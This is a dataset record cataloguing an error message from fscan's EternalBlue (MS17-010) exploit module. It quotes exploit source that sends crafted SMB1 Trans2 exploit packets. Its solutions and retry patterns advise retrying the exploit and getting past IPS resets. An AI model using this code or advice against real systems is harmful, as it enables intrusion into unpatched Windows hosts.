{"record":{"id":"2484ad37ad0f20af","repo":"shadow1ng/fscan","slug":"failed-to-send-nt-trans-s","errorCode":null,"errorMessage":"failed to send nt trans: %s","messagePattern":"failed to send nt trans: (.+?)","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/services/ms17010_exp.go","lineNumber":501,"sourceCode":"\t// update packet size\n\tb := buf.Bytes()\n\tsizeBuf := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4))\n\tcopy(b[1:], sizeBuf[1:])\n\n\t// send packet\n\t_, err = buf.WriteTo(conn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_, header, err := smb1GetResponse(conn)\n\treturn header, err\n}\n\nfunc smb1LargeBuffer(conn net.Conn, header *smbHeader) error {\n\ttransHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to send nt trans: %s\", err)\n\t}\n\t// initial trans2 request\n\ttreeID := transHeader.TreeID\n\tuserID := transHeader.UserID\n\ttrans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, \"zero\")\n\t// send all but the last packet\n\tfor i := 1; i < 15; i++ {\n\t\tpacket := makeSMB1Trans2ExploitPacket(treeID, userID, i, \"buffer\")\n\t\ttrans2Packet = append(trans2Packet, packet...)\n\t}\n\tsmb1EchoPacket := makeSMB1EchoPacket(treeID, userID)\n\ttrans2Packet = append(trans2Packet, smb1EchoPacket...)\n\n\t_, err = conn.Write(trans2Packet)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to send large buffer: %s\", err)\n\t}\n\t_, _, err = smb1GetResponse(conn)","sourceCodeStart":483,"sourceCodeEnd":519,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/services/ms17010_exp.go#L483-L519","documentation":"smb1LargeBuffer first calls sendNTTrans to stage an NT Trans request that allocates a large buffer on the target. If sending that NT Trans packet fails at the TCP level, the error is wrapped as 'failed to send nt trans'. This is a network write failure during the EternalBlue exploit chain.","triggerScenarios":"exploit calls smb1LargeBuffer, which calls sendNTTrans(conn, header.TreeID, header.UserID); conn.Write fails because the target closed/reset the connection after negotiate, a firewall dropped the packet, or a TCP timeout expired.","commonSituations":"Target patched against MS17-010 kills the session mid-handshake; IPS/IDS (e.g. Snort EternalBlue rules) resets the connection on the NT Trans pattern; slow WAN links exceed write deadlines.","solutions":["Verify network reachability and absence of an IPS resetting the session","Re-check the target is a vulnerable Windows SMB1 host","Add retry logic around smb1LargeBuffer for transient resets","Inspect firewall/IDS logs for RST packets on port 445"],"exampleFix":null,"handlingStrategy":"retry","validationCode":"// ensure the connection is still writable before the trans stage\nif tcpConn, ok := conn.(*net.TCPConn); ok {\n    if err := tcpConn.SetWriteDeadline(time.Now().Add(10 * time.Second)); err != nil {\n        return err\n    }\n}","typeGuard":null,"tryCatchPattern":"if err := smb1LargeBuffer(conn, header); err != nil {\n    if errors.Is(err, syscall.ECONNRESET) || errors.Is(err, syscall.EPIPE) {\n        // reconnect and retry the exploit once\n    }\n    return err\n}","preventionTips":["Re-negotiate a fresh connection if a previous write failed","Check for IPS devices that reset EternalBlue-like traffic","Keep write deadlines explicit to fail fast and retry","Validate target patch level first to avoid deliberate resets"],"tags":["network","smb","go","exploit"],"backgroundTag":"network-request-failed","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}